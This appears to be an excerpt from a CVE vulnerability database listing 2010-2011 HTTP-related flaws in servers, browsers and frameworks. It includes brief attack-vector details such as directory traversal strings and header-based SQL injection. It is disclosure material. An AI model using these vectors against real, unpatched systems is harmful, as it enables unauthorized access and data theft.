19165| [CVE-2011-3389] The SSL protocol, as used in certain configurations in Microsoft Windows and Microsoft Internet Explorer, Mozilla Firefox, Google Chrome, Opera, and other products, encrypts data by using CBC mode with chained initialization vectors, which allows man-in-the-middle attackers to obtain plaintext HTTP headers via a blockwise chosen-boundary attack (BCBA) on an HTTPS session, in conjunction with JavaScript code that uses (1) the HTML5 WebSocket API, (2) the Java URLConnection API, or (3) the Silverlight WebClient API, aka a "BEAST" attack.
19166| [CVE-2011-3375] Apache Tomcat 6.0.30 through 6.0.33 and 7.x before 7.0.22 does not properly perform certain caching and recycling operations involving request objects, which allows remote attackers to obtain unintended read access to IP address and HTTP header information in opportunistic circumstances by reading TCP data.
19167| [CVE-2011-3368] The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.
19168| [CVE-2011-3348] The mod_proxy_ajp module in the Apache HTTP Server before 2.2.21, when used with mod_proxy_balancer in certain configurations, allows remote attackers to cause a denial of service (temporary "error state" in the backend server) via a malformed HTTP request.
19169| [CVE-2011-3340] SQL injection vulnerability in ATCOM Netvolution 2.5.8 ASP allows remote attackers to execute arbitrary SQL commands via the Referer HTTP header.
19170| [CVE-2011-3294] Cross-site scripting (XSS) vulnerability in the login page in the administrative interface on Cisco TelePresence Video Communication Servers (VCS) with software before X7.0 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header, aka Bug ID CSCts80342.
19171| [CVE-2011-3285] CRLF injection vulnerability in /+CSCOE+/logon.html on Cisco Adaptive Security Appliances (ASA) 5500 series devices with software 8.0 through 8.4 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors, aka Bug ID CSCth63101.
19172| [CVE-2011-3281] Unspecified vulnerability in Cisco IOS 15.0 through 15.1, in certain HTTP Layer 7 Application Control and Inspection configurations, allows remote attackers to cause a denial of service (device reload or hang) via a crafted HTTP packet, aka Bug ID CSCto68554.
19173| [CVE-2011-3246] CFNetwork in Apple iOS before 5.0.1 and Mac OS X 10.7 before 10.7.2 does not properly parse URLs, which allows remote attackers to trigger visits to unintended web sites, and transmission of cookies to unintended web sites, via a crafted (1) http or (2) https URL.
19174| [CVE-2011-3224] The User Documentation component in Apple Mac OS X through 10.6.8 uses http sessions for updates to App Store help information, which allows man-in-the-middle attackers to execute arbitrary code by spoofing the http server.
19175| [CVE-2011-3218] The "Save for Web" selection in QuickTime Player in Apple Mac OS X through 10.6.8 exports HTML documents that contain an http link to a script file, which allows man-in-the-middle attackers to conduct cross-site scripting (XSS) attacks by spoofing the http server during local viewing of an exported document.
19176| [CVE-2011-3213] The File Systems component in Apple Mac OS X before 10.7.2 does not properly track the specific X.509 certificate that a user manually accepted for an initial https WebDAV connection, which allows man-in-the-middle attackers to hijack WebDAV communication by presenting an arbitrary certificate for a subsequent connection.
19177| [CVE-2011-3192] The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, as exploited in the wild in August 2011, a different vulnerability than CVE-2007-0086.
19178| [CVE-2011-3186] CRLF injection vulnerability in actionpack/lib/action_controller/response.rb in Ruby on Rails 2.3.x before 2.3.13 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the Content-Type header.
19179| [CVE-2011-3184] The msn_httpconn_parse_data function in httpconn.c in the MSN protocol plugin in libpurple in Pidgin before 2.10.0 does not properly handle HTTP 100 responses, which allows remote attackers to cause a denial of service (incorrect memory access and application crash) via vectors involving a crafted server message.
19180| [CVE-2011-3022] translate/translate_manager.cc in Google Chrome before 17.0.963.56 and 19.x before 19.0.1036.7 uses an HTTP session to exchange data for translation, which allows remote attackers to obtain sensitive information by sniffing the network.
19181| [CVE-2011-3014] The Mobility Pack before 1.2 in Novell Data Synchronizer 1.x through 1.1.2 build 428 does not properly restrict caching of HTTPS responses, which makes it easier for remote attackers to obtain sensitive information by leveraging an unattended workstation.
19182| [CVE-2011-3000] Mozilla Firefox before 3.6.23 and 4.x through 6, Thunderbird before 7.0, and SeaMonkey before 2.4 do not properly handle HTTP responses that contain multiple Location, Content-Length, or Content-Disposition headers, which makes it easier for remote attackers to conduct HTTP response splitting attacks via crafted header values.
19183| [CVE-2011-2960] Heap-based buffer overflow in httpsvr.exe 6.0.5.3 in Sunway ForceControl 6.1 SP1, SP2, and SP3 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted URL.
19184| [CVE-2011-2900] Stack-based buffer overflow in the (1) put_dir function in mongoose.c in Mongoose 3.0, (2) put_dir function in yasslEWS.c in yaSSL Embedded Web Server (yasslEWS) 0.2, and (3) _shttpd_put_dir function in io_dir.c in Simple HTTPD (shttpd) 1.42 allows remote attackers to execute arbitrary code via an HTTP PUT request, as exploited in the wild in 2011.
19185| [CVE-2011-2883] The NSEPA.NsepaCtrl.1 ActiveX control in nsepa.ocx in Citrix Access Gateway Enterprise Edition 8.1 before 8.1-67.7, 9.0 before 9.0-70.5, and 9.1 before 9.1-96.4 attempts to validate signed DLLs by checking the certificate subject, not the signature, which allows man-in-the-middle attackers to execute arbitrary code via HTTP header data referencing a DLL that was signed with a crafted certificate.
19186| [CVE-2011-2882] Stack-based buffer overflow in the NSEPA.NsepaCtrl.1 ActiveX control in nsepa.ocx in Citrix Access Gateway Enterprise Edition 8.1 before 8.1-67.7, 9.0 before 9.0-70.5, and 9.1 before 9.1-96.4 allows remote attackers to execute arbitrary code via crafted HTTP header data.
19187| [CVE-2011-2766] The FCGI (aka Fast CGI) module 0.70 through 0.73 for Perl, as used by CGI::Fast, uses environment variable values from one request during processing of a later request, which allows remote attackers to bypass authentication via crafted HTTP headers.
19188| [CVE-2011-2732] CRLF injection vulnerability in the logout functionality in VMware SpringSource Spring Security before 2.0.7 and 3.0.x before 3.0.6 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the spring-security-redirect parameter.
19189| [CVE-2011-2688] SQL injection vulnerability in mysql/mysql-auth.pl in the mod_authnz_external module 3.2.5 and earlier for the Apache HTTP Server allows remote attackers to execute arbitrary SQL commands via the user field.
19190| [CVE-2011-2667] Icihttp.exe in CA Gateway Security for HTTP, as used in CA Gateway Security 8.1 before 8.1.0.69 and CA Total Defense r12, does not properly parse URLs, which allows remote attackers to execute arbitrary code or cause a denial of service (heap memory corruption and daemon crash) via a malformed request.
19191| [CVE-2011-2586] The HTTP client in Cisco IOS 12.4 and 15.0 allows user-assisted remote attackers to cause a denial of service (device crash) via a malformed HTTP response to a request for service installation, aka Bug ID CSCts12249.
19192| [CVE-2011-2526] Apache Tomcat 5.5.x before 5.5.34, 6.x before 6.0.33, and 7.x before 7.0.19, when sendfile is enabled for the HTTP APR or HTTP NIO connector, does not validate certain request attributes, which allows local users to bypass intended file access restrictions or cause a denial of service (infinite loop or JVM crash) by leveraging an untrusted web application.
19193| [CVE-2011-2474] Directory traversal vulnerability in the HTTP Server in Sybase EAServer 6.3.1 Developer Edition allows remote attackers to read arbitrary files via a /.\../\../\ sequence in a path.
19194| [CVE-2011-2383] Microsoft Internet Explorer 9 and earlier does not properly restrict cross-zone drag-and-drop actions, which allows user-assisted remote attackers to read cookie files via vectors involving an IFRAME element with a SRC attribute containing an http: URL that redirects to a file: URL, as demonstrated by a Facebook game, related to a "cookiejacking" issue, aka "Drag and Drop Information Disclosure Vulnerability." NOTE: this vulnerability exists because of an incomplete fix in the Internet Explorer 9 release.
19195| [CVE-2011-2344] Android Picasa in Android 3.0 and 2.x through 2.3.4 uses a cleartext HTTP session when transmitting the authToken obtained from ClientLogin, which allows remote attackers to gain privileges and access private pictures and web albums by sniffing the token from connections with picasaweb.google.com.
19196| [CVE-2011-2224] The Mobility Pack before 1.2 in Novell Data Synchronizer 1.x through 1.1.2 build 428 does not include the HTTPOnly flag in a Set-Cookie header, which makes it easier for remote attackers to conduct cross-site scripting (XSS) attacks via unspecified vectors.
19197| [CVE-2011-2206] XMLParser.pm in DJabberd before 0.85 allows remote authenticated users to read arbitrary files, and possibly send HTTP requests to intranet servers or cause a denial of service (CPU and memory consumption), via an XML external entity declaration in conjunction with an entity reference, a different vulnerability than CVE-2011-1757.
19198| [CVE-2011-2192] The Curl_input_negotiate function in http_negotiate.c in libcurl 7.10.6 through 7.21.6, as used in curl and other products, always performs credential delegation during GSSAPI authentication, which allows remote servers to impersonate clients via GSSAPI requests.
19199| [CVE-2011-2154] login.aspx in the SmarterTools SmarterStats 6.0 web server does not include the HTTPOnly flag in a Set-Cookie header for the loginsettings cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie.
19200| [CVE-2011-1977] The ASP.NET Chart controls in Microsoft .NET Framework 4, and Chart Control for Microsoft .NET Framework 3.5 SP1, do not properly verify functions in URIs, which allows remote attackers to read arbitrary files via special characters in a URI in an HTTP request, aka "Chart Control Information Disclosure Vulnerability."
19201| [CVE-2011-1928] The fnmatch implementation in apr_fnmatch.c in the Apache Portable Runtime (APR) library 1.4.3 and 1.4.4, and the Apache HTTP Server 2.2.18, allows remote attackers to cause a denial of service (infinite loop) via a URI that does not match unspecified types of wildcard patterns, as demonstrated by attacks against mod_autoindex in httpd when a /*/WEB-INF/ configuration pattern is used. NOTE: this issue exists because of an incorrect fix for CVE-2011-0419.
19202| [CVE-2011-1921] The mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion 1.5.x and 1.6.x before 1.6.17, when the SVNPathAuthz short_circuit option is disabled, does not properly enforce permissions for files that had been publicly readable in the past, which allows remote attackers to obtain sensitive information via a replay REPORT operation.
19203| [CVE-2011-1895] CRLF injection vulnerability in Microsoft Forefront Unified Access Gateway (UAG) 2010 Gold, Update 1, Update 2, and SP1 allows remote attackers to inject arbitrary HTTP headers, and conduct HTTP response splitting attacks and cross-site scripting (XSS) attacks, via unspecified vectors, aka "ExcelTable Response Splitting XSS Vulnerability."
19204| [CVE-2011-1860] Unspecified vulnerability in HP Service Manager 7.02, 7.11, 9.20, and 9.21 and Service Center 6.2.8 allows remote attackers to capture HTTP session credentials via unknown vectors.
19205| [CVE-2011-1839] IBM Rational Build Forge 7.1.0 uses the HTTP GET method during redirection from the authentication servlet to a PHP script, which makes it easier for context-dependent attackers to discover session IDs by reading (1) web-server access logs, (2) web-server Referer logs, or (3) the browser history.
19206| [CVE-2011-1783] The mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion 1.5.x and 1.6.x before 1.6.17, when the SVNPathAuthz short_circuit option is enabled, allows remote attackers to cause a denial of service (infinite loop and memory consumption) in opportunistic circumstances by requesting data.
19207| [CVE-2011-1752] The mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion before 1.6.17, allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via a request for a baselined WebDAV resource, as exploited in the wild in May 2011.
19208| [CVE-2011-1710] Multiple integer overflows in the HTTP server in the Novell XTier framework 3.1.8 allow remote attackers to cause a denial of service (service crash) or possibly execute arbitrary code via crafted header length variables.
19209| [CVE-2011-1709] GNOME Display Manager (gdm) before 2.32.2, when glib 2.28 is used, enables execution of a web browser with the uid of the gdm account, which allows local users to gain privileges via vectors involving the x-scheme-handler/http MIME type.
19210| [CVE-2011-1688] Directory traversal vulnerability in Best Practical Solutions RT 3.2.0 through 3.6.10, 3.8.0 through 3.8.9, and 4.0.0rc through 4.0.0rc7 allows remote attackers to read arbitrary files via a crafted HTTP request.
19211| [CVE-2011-1610] Multiple SQL injection vulnerabilities in xmldirectorylist.jsp in the embedded Apache HTTP Server component in Cisco Unified Communications Manager (aka CUCM, formerly CallManager) 6.x before 6.1(5)su3, 7.x before 7.1(5)su4, 8.0 before 8.0(3a)su2, and 8.5 before 8.5(1)su1 allow remote attackers to execute arbitrary SQL commands via the (1) f, (2) l, or (3) n parameter, aka Bug ID CSCtj42064.
19212| [CVE-2011-1582] Apache Tomcat 7.0.12 and 7.0.13 processes the first request to a servlet without following security constraints that have been configured through annotations, which allows remote attackers to bypass intended access restrictions via HTTP requests. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-1088, CVE-2011-1183, and CVE-2011-1419.
19213| [CVE-2011-1499] acl.c in Tinyproxy before 1.8.3, when an Allow configuration setting specifies a CIDR block, permits TCP connections from all IP addresses, which makes it easier for remote attackers to hide the origin of web traffic by leveraging the open HTTP proxy server.
19214| [CVE-2011-1498] Apache HttpClient 4.x before 4.1.1 in Apache HttpComponents, when used with an authenticating proxy server, sends the Proxy-Authorization header to the origin server, which allows remote web servers to obtain sensitive information by logging this header.
19215| [CVE-2011-1475] The HTTP BIO connector in Apache Tomcat 7.0.x before 7.0.12 does not properly handle HTTP pipelining, which allows remote attackers to read responses intended for other clients in opportunistic circumstances by examining the application data in HTTP packets, related to "a mix-up of responses for requests from different users."
19216| [CVE-2011-1469] Unspecified vulnerability in the Streams component in PHP before 5.3.6 allows context-dependent attackers to cause a denial of service (application crash) by accessing an ftp:// URL during use of an HTTP proxy with the FTP wrapper.
19217| [CVE-2011-1465] The SPDY implementation in net/http/http_network_transaction.cc in Google Chrome before 11.0.696.14 drains the bodies from SPDY responses, which might allow remote SPDY servers to cause a denial of service (application exit) by canceling a stream.
19218| [CVE-2011-1419] Apache Tomcat 7.x before 7.0.11, when web.xml has no security constraints, does not follow ServletSecurity annotations, which allows remote attackers to bypass intended access restrictions via HTTP requests to a web application. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-1088.
19219| [CVE-2011-1406] Mahara before 1.3.6 does not properly handle an https URL in the wwwroot configuration setting, which makes it easier for user-assisted remote attackers to obtain credentials by sniffing the network at a time when an http URL is used for a login.
19220| [CVE-2011-1398] The sapi_header_op function in main/SAPI.c in PHP before 5.3.11 and 5.4.x before 5.4.0RC2 does not check for %0D sequences (aka carriage return characters), which allows remote attackers to bypass an HTTP response-splitting protection mechanism via a crafted URL, related to improper interaction between the PHP header function and certain browsers, as demonstrated by Internet Explorer and Google Chrome.
19221| [CVE-2011-1360] Multiple cross-site scripting (XSS) vulnerabilities in IBM HTTP Server 2.0.47 and earlier, as used in WebSphere Application Server and other products, allow remote attackers to inject arbitrary web script or HTML via vectors involving unspecified documentation files in (1) manual/ibm/ and (2) htdocs/*/manual/ibm/.
19222| [CVE-2011-1357] Cross-site scripting (XSS) vulnerability in agentDetect.jsp in the web UI in IBM WebSphere Service Registry and Repository (WSRR) 6.3 before 6.3.0.5, 7.0 before 7.0.0.5, and 7.5 before 7.5.0.1 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
19223| [CVE-2011-1316] The Session Initiation Protocol (SIP) Proxy in the HTTP Transport component in IBM WebSphere Application Server (WAS) before 7.0.0.15 allows remote attackers to cause a denial of service (worker thread exhaustion and UDP messaging outage) by sending many UDP messages.
19224| [CVE-2011-1262] Microsoft Internet Explorer 7 through 9 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, aka "HTTP Redirect Memory Corruption Vulnerability."
19225| [CVE-2011-1246] Microsoft Internet Explorer 8 does not properly handle content settings in HTTP responses, which allows remote web servers to obtain sensitive information from a different (1) domain or (2) zone via a crafted response, aka "MIME Sniffing Information Disclosure Vulnerability."
19226| [CVE-2011-1184] The HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.34, 6.x before 6.0.33, and 7.x before 7.0.12 does not have the expected countermeasures against replay attacks, which makes it easier for remote attackers to bypass intended access restrictions by sniffing the network for valid requests, related to lack of checking of nonce (aka server nonce) and nc (aka nonce-count or client nonce count) values.
19227| [CVE-2011-1183] Apache Tomcat 7.0.11, when web.xml has no login configuration, does not follow security constraints, which allows remote attackers to bypass intended access restrictions via HTTP requests to a meta-data complete web application. NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-1088 and CVE-2011-1419.
19228| [CVE-2011-1176] The configuration merger in itk.c in the Steinar H. Gunderson mpm-itk Multi-Processing Module 2.2.11-01 and 2.2.11-02 for the Apache HTTP Server does not properly handle certain configuration sections that specify NiceValue but not AssignUserID, which might allow remote attackers to gain privileges by leveraging the root uid and root gid of an mpm-itk process.
19229| [CVE-2011-1088] Apache Tomcat 7.x before 7.0.10 does not follow ServletSecurity annotations, which allows remote attackers to bypass intended access restrictions via HTTP requests to a web application.
19230| [CVE-2011-1015] The is_cgi method in CGIHTTPServer.py in the CGIHTTPServer module in Python 2.5, 2.6, and 3.0 allows remote attackers to read script source code via an HTTP GET request that lacks a / (slash) character at the beginning of the URI.
19231| [CVE-2011-0789] Unspecified vulnerability in the Oracle HTTP Server component in Oracle Fusion Middleware 10.1.2.3 allows remote attackers to affect integrity via unknown vectors.
19232| [CVE-2011-0767] Cross-site scripting (XSS) vulnerability in the management GUI in the MX Management Server in Imperva SecureSphere Web Application Firewall 6.2, 7.x, and 8.x allows remote attackers to inject arbitrary web script or HTML via an HTTP request to a firewalled server, aka Bug ID 31759.
19233| [CVE-2011-0751] Directory traversal vulnerability in nhttpd (aka Nostromo webserver) before 1.9.4 allows remote attackers to execute arbitrary programs or read arbitrary files via a ..%2f (encoded dot dot slash) in a URI.
19234| [CVE-2011-0733] Cross-site scripting (XSS) vulnerability in Adobe ColdFusion before 9.0.1 CHF1 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header in an id=- query to a .cfm file.
19235| [CVE-2011-0715] The mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion before 1.6.16, allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via a request that contains a lock token.
19236| [CVE-2011-0696] Django 1.1.x before 1.1.4 and 1.2.x before 1.2.5 does not properly validate HTTP requests that contain an X-Requested-With header, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via forged AJAX requests that leverage a "combination of browser plugins and redirects," a related issue to CVE-2011-0447.
19237| [CVE-2011-0684] Opera before 11.01 does not properly handle redirections and unspecified other HTTP responses, which allows remote web servers to obtain sufficient access to local files to use these files as page resources, and consequently obtain potentially sensitive information from the contents of the files, via an unknown response manipulation.
19238| [CVE-2011-0633] The Net::HTTPS module in libwww-perl (LWP) before 6.00, as used in WWW::Mechanize, LWP::UserAgent, and other products, when running in environments that do not set the If-SSL-Cert-Subject header, does not enable full validation of SSL certificates by default, which allows remote attackers to spoof servers via man-in-the-middle (MITM) attacks involving hostnames that are not properly validated. NOTE: it could be argued that this is a design limitation of the Net::HTTPS API, and separate implementations should be independently assigned CVE identifiers for not working around this limitation. However, because this API was modified within LWP, a single CVE identifier has been assigned.
19239| [CVE-2011-0581] Multiple CRLF injection vulnerabilities in Adobe ColdFusion 8.0 through 9.0.1 allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified tags.
19240| [CVE-2011-0534] Apache Tomcat 7.0.0 through 7.0.6 and 6.0.0 through 6.0.30 does not enforce the maxHttpHeaderSize limit for requests involving the NIO HTTP connector, which allows remote attackers to cause a denial of service (OutOfMemoryError) via a crafted request.
19241| [CVE-2011-0508] Cross-site scripting (XSS) vulnerability in system/modules/comments/Comments.php in Contao CMS 2.9.2, and possibly other versions before 2.9.3, allows remote attackers to inject arbitrary web script or HTML via the HTTP X_FORWARDED_FOR header, which is stored by system/libraries/Environment.php but not properly handled by a comments action to main.php.
19242| [CVE-2011-0447] Ruby on Rails 2.1.x, 2.2.x, and 2.3.x before 2.3.11, and 3.x before 3.0.4, does not properly validate HTTP requests that contain an X-Requested-With header, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via forged (1) AJAX or (2) API requests that leverage "combinations of browser plugins and HTTP redirects," a related issue to CVE-2011-0696.
19243| [CVE-2011-0423] The PolyVision RoomWizard with firmware 3.2.3 has a default password of roomwizard for the administrator account, which makes it easier for remote attackers to obtain console access via an HTTP session, a different vulnerability than CVE-2010-0214.
19244| [CVE-2011-0419] Stack consumption vulnerability in the fnmatch implementation in apr_fnmatch.c in the Apache Portable Runtime (APR) library before 1.4.3 and the Apache HTTP Server before 2.2.18, and in fnmatch.c in libc in NetBSD 5.1, OpenBSD 4.8, FreeBSD, Apple Mac OS X 10.6, Oracle Solaris 10, and Android, allows context-dependent attackers to cause a denial of service (CPU and memory consumption) via *? sequences in the first argument, as demonstrated by attacks against mod_autoindex in httpd.
19245| [CVE-2011-0400] Cookie.php in Piwik before 1.1 does not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
19246| [CVE-2011-0398] The Piwik_Common::getIP function in Piwik before 1.1 does not properly determine the client IP address, which allows remote attackers to bypass intended geolocation and logging functionality via (1) use of a private (aka RFC 1918) address behind a proxy server or (2) spoofing of the X-Forwarded-For HTTP header.
19247| [CVE-2011-0348] Cisco IOS 12.4(11)MD, 12.4(15)MD, 12.4(22)MD, 12.4(24)MD before 12.4(24)MD3, 12.4(22)MDA before 12.4(22)MDA5, and 12.4(24)MDA before 12.4(24)MDA3 on the Cisco Content Services Gateway Second Generation (aka CSG2) allows remote attackers to bypass intended access restrictions and intended billing restrictions by sending HTTP traffic to a restricted destination after sending HTTP traffic to an unrestricted destination, aka Bug ID CSCtk35917.
19248| [CVE-2011-0345] Directory traversal vulnerability in the NMS server in Alcatel-Lucent OmniVista 4760 R5.1.06.03 and earlier allows remote attackers to read arbitrary files via directory traversal sequences in HTTP GET requests, related to the lang variable.
19249| [CVE-2011-0344] Multiple stack-based buffer overflows in unspecified CGI programs in the Unified Maintenance Tool web interface in the embedded web server in the Communication Server (CS) in Alcatel-Lucent OmniPCX Enterprise before R9.0 H1.301.50 allow remote attackers to execute arbitrary code via crafted HTTP headers.
19250| [CVE-2011-0334] Stack-based buffer overflow in gwia.exe in GroupWise Internet Agent (GWIA) in Novell GroupWise 8.0 before HP3 allows remote attackers to execute arbitrary code via a long HTTP request for a .css file.
19251| [CVE-2011-0272] Unspecified vulnerability in HP LoadRunner 9.52 allows remote attackers to execute arbitrary code via network traffic to TCP port 5001 or 5002, related to the HttpTunnel feature.
19252| [CVE-2011-0212] servermgrd in Apple Mac OS X before 10.6.8 allows remote attackers to read arbitrary files, and possibly send HTTP requests to intranet servers or cause a denial of service (CPU and memory consumption), via an XML-RPC request containing an entity declaration in conjunction with an entity reference, related to an XML External Entity (aka XXE) issue.
19253| [CVE-2011-0207] The MobileMe component in Apple Mac OS X before 10.6.8 uses a cleartext HTTP session for the Mail application to read e-mail aliases, which allows remote attackers to obtain potentially sensitive alias information by sniffing the network.
19254| [CVE-2011-0160] WebKit, as used in Apple Safari before 5.0.4 and iOS before 4.3, does not properly handle redirects in conjunction with HTTP Basic Authentication, which might allow remote web servers to capture credentials by logging the Authorization HTTP header.
19255| [CVE-2010-5189] Blue Coat ProxySG before SGOS 4.3.4.1, 5.x before SGOS 5.4.5.1, 5.5 before SGOS 5.5.4.1, and 6.x before SGOS 6.1.1.1 allows remote authenticated users to execute arbitrary CLI commands by leveraging read-only administrator privileges and establishing an HTTPS session.
19256| [CVE-2010-5148] Websense Web Security and Web Filter before 7.1 Hotfix 21 do not set the secure flag for the Encrypted Session (SSL) cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
19257| [CVE-2010-5144] The ISAPI Filter plug-in in Websense Enterprise, Websense Web Security, and Websense Web Filter 6.3.3 and earlier, when used in conjunction with a Microsoft ISA or Microsoft Forefront TMG server, allows remote attackers to bypass intended filtering and monitoring activities for web traffic via an HTTP Via header.
19258| [CVE-2010-5080] The Security/changepassword URL action in SilverStripe 2.3.x before 2.3.10 and 2.4.x before 2.4.4 passes a token as a GET parameter while changing a password through email, which allows remote attackers to obtain sensitive data and hijack the session via the HTTP referer logs on a server, aka "HTTP referer leakage."
19259| [CVE-2010-4897] SQL injection vulnerability in comment.php in BlueCMS 1.6 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For HTTP header in a send action.
19260| [CVE-2010-4823] Cross-site scripting (XSS) vulnerability in the httpError method in sapphire/core/control/RequestHandler.php in SilverStripe 2.3.x before 2.3.10 and 2.4.x before 2.4.4, when custom error handling is not used, allows remote attackers to inject arbitrary web script or HTML via "missing URL actions."
19261| [CVE-2010-4714] Multiple stack-based buffer overflows in Novell GroupWise before 8.02HP allow remote attackers to execute arbitrary code via a long HTTP Host header to (1) gwpoa.exe in the Post Office Agent, (2) gwmta.exe in the Message Transfer Agent, (3) gwia.exe in the Internet Agent, (4) the WebAccess Agent, or (5) the Monitor Agent.
19262| [CVE-2010-4690] The Mobile User Security (MUS) service on Cisco Adaptive Security Appliances (ASA) 5500 series devices with software before 8.3(2) does not properly authenticate HTTP requests from a Web Security appliance (WSA), which might allow remote attackers to obtain sensitive information via a HEAD request, aka Bug ID CSCte53635.
19263| [CVE-2010-4595] The Connection Manager in IBM Lotus Mobile Connect before 6.1.4 disables the http.device.stanza blacklisting functionality for HTTP Access Services (HTTP-AS), which allows remote attackers to bypass intended access restrictions via an HTTP request that contains a disallowed User-Agent header.
19264| [CVE-2010-4594] The Connection Manager in IBM Lotus Mobile Connect before 6.1.4, when HTTP Access Services (HTTP-AS) is enabled, does not properly process TCP connection requests, which allows remote attackers to cause a denial of service (memory consumption and HTTP-AS hang) by making many connection requests that trigger "queue size delta errors," related to a "timing hole" issue.
19265| [CVE-2010-4592] The Mobile Network Connections functionality in the Connection Manager in IBM Lotus Mobile Connect before 6.1.4, when HTTP Access Services (HTTP-AS) is enabled, does not properly handle failed attempts at establishing HTTP-TCP sessions, which allows remote attackers to cause a denial of service (memory consumption and daemon crash) by making many TCP connection attempts.
19266| [CVE-2010-4591] The Connection Manager in IBM Lotus Mobile Connect (LMC) before 6.1.4, when HTTP Access Services (HTTP-AS) is enabled, does not delete LTPA tokens in response to use of the iNotes Logoff button, which might allow physically proximate attackers to obtain access via an unattended client, related to a cookie domain mismatch.
19267| [CVE-2010-4590] Cross-site scripting (XSS) vulnerability in HTTP Access Services (HTTP-AS) in the Connection Manager in IBM Lotus Mobile Connect (LMC) before 6.1.4 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
19268| [CVE-2010-4584] Opera before 11.00, when Opera Turbo is used, does not properly present information about problematic X.509 certificates on https web sites, which might make it easier for remote attackers to spoof trusted content via a crafted web site.
19269| [CVE-2010-4572] CRLF injection vulnerability in chart.cgi in Bugzilla before 3.2.10, 3.4.x before 3.4.10, 3.6.x before 3.6.4, and 4.0.x before 4.0rc2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the query string, a different vulnerability than CVE-2010-2761 and CVE-2010-4411.
19270| [CVE-2010-4539] The walk function in repos.c in the mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion before 1.6.15, allows remote authenticated users to cause a denial of service (NULL pointer dereference and daemon crash) via vectors that trigger the walking of SVNParentPath collections.
19271| [CVE-2010-4488] Google Chrome before 8.0.552.215 does not properly handle HTTP proxy authentication, which allows remote attackers to cause a denial of service (application crash) via unspecified vectors.
19272| [CVE-2010-4455] Unspecified vulnerability in the Oracle HTTP Server component in Oracle Fusion Middleware 11.1.1.2 and 11.1.1.3 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Apache Plugin.
19273| [CVE-2010-4411] Unspecified vulnerability in CGI.pm 3.50 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unknown vectors. NOTE: this issue exists because of an incomplete fix for CVE-2010-2761.
19274| [CVE-2010-4410] CRLF injection vulnerability in the header function in (1) CGI.pm before 3.50 and (2) Simple.pm in CGI::Simple 1.112 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via vectors related to non-whitespace characters preceded by newline characters, a different vulnerability than CVE-2010-2761 and CVE-2010-3172.
19275| [CVE-2010-4394] Heap-based buffer overflow in RealNetworks RealPlayer 11.0 through 11.1 and RealPlayer SP 1.0 through 1.1.5 allows remote web servers to execute arbitrary code via a long Server header in a response to an HTTP request that occurs during parsing of a RealPix file.
19276| [CVE-2010-4340] libcloud before 0.4.1 does not verify SSL certificates for HTTPS connections, which allows remote attackers to spoof certificates and bypass intended access restrictions via a man-in-the-middle (MITM) attack.
19277| [CVE-2010-4312] The default configuration of Apache Tomcat 6.x does not include the HTTPOnly flag in a Set-Cookie header, which makes it easier for remote attackers to hijack a session via script access to a cookie.
19278| [CVE-2010-4235] Format string vulnerability in RealNetworks Helix Server 12.x, 13.x, and 14.x before 14.2, and Helix Mobile Server 12.x, 13.x, and 14.x before 14.2, allows remote attackers to execute arbitrary code via vectors related to the x-wap-profile HTTP header.
19279| [CVE-2010-4184] NetSupport Manager (NSM) before 11.00.0005 sends HTTP headers with cleartext fields containing details about client machines, which allows remote attackers to obtain potentially sensitive information by sniffing the network.
19280| [CVE-2010-3913] CRLF injection vulnerability in TransWARE Active! mail 6 build 6.40.010047750 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
19281| [CVE-2010-3903] Unspecified vulnerability in OpenConnect before 2.23 allows remote AnyConnect SSL VPN servers to cause a denial of service (application crash) via a 404 HTTP status code.
19282| [CVE-2010-3900] Midori before 0.2.5, when WebKitGTK+ before 1.1.14 or LibSoup before 2.29.91 is used, does not verify X.509 certificates, which allows man-in-the-middle attackers to spoof arbitrary https web sites via a crafted server certificate, a related issue to CVE-2010-3312.
19283| [CVE-2010-3872] The fcgid_header_bucket_read function in fcgid_bucket.c in the mod_fcgid module before 2.3.6 for the Apache HTTP Server does not use bytewise pointer arithmetic in certain circumstances, which has unspecified impact and attack vectors related to "untrusted FastCGI applications" and a "stack buffer overwrite."
